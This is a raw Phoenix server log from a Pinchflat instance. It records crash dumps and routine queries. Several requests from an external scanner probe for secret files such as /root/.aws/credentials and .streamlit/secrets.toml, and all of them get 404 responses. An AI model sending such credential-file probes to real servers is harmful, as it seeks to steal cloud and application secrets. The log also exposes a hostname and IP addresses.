roku.hartupee.com:80 (http) Request: GET /root/.streamlit/secrets.toml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.streamlit/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.streamlit/secrets.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47088}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9766.0>, params: %{}, path_info: ["root", ".streamlit", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.streamlit/secrets.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBpfLle3f44EAAdaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.streamlit/secrets.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47088}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.streamlit/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.streamlit/secrets.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47088}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9766.0>, params: %{}, path_info: ["root", ".streamlit", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.streamlit/secrets.toml", resp_body: nil, resp_cookies: %{ (truncated) 15:22:03.148 [info] GET / 15:22:03.148 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:03.148 [debug] QUERY OK source="settings" db=0.1ms idle=626.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.148 [debug] QUERY OK source="media_profiles" db=0.0ms idle=469.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:03.148 [debug] QUERY OK source="sources" db=0.0ms idle=469.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:03.149 [debug] QUERY OK source="media_items" db=0.7ms idle=230.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:03.149 [debug] QUERY OK source="media_items" db=0.4ms idle=231.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:03.150 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.150 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.150 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.151 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:03.151 [info] GET /root/.aws/credentials 15:22:03.152 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:03.152 [debug] QUERY OK source="settings" db=0.3ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.152 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:03.152 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.152 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:03.152 [error] #PID<0.9770.0> running PinchflatWeb.Endpoint (connection #PID<0.9769.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /root/.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9769.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9770.0>, params: %{}, path_info: ["root", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBqW_J-Zglc4AAddC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9769.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9769.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9770.0>, params: %{}, path_info: ["root", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-c (truncated) 15:22:03.155 [debug] QUERY OK source="media_items" db=2.5ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:03.158 [debug] QUERY OK source="media_items" db=2.4ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:03.158 [debug] QUERY OK source="tasks" db=0.2ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:03.158 [info] Sent 200 in 10ms 15:22:03.390 [info] GET /home/ubuntu/.aws/credentials 15:22:03.391 [debug] QUERY OK source="settings" db=0.2ms idle=238.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.391 [debug] QUERY OK source="settings" db=0.0ms idle=238.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.391 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:03.391 [error] #PID<0.9772.0> running PinchflatWeb.Endpoint (connection #PID<0.9771.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/ubuntu/.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47118}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9772.0>, params: %{}, path_info: ["home", "ubuntu", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBrP8e6Oa-YMAAdfC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47118}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47118}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9772.0>, params: %{}, path_info: ["home", "ubuntu", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", 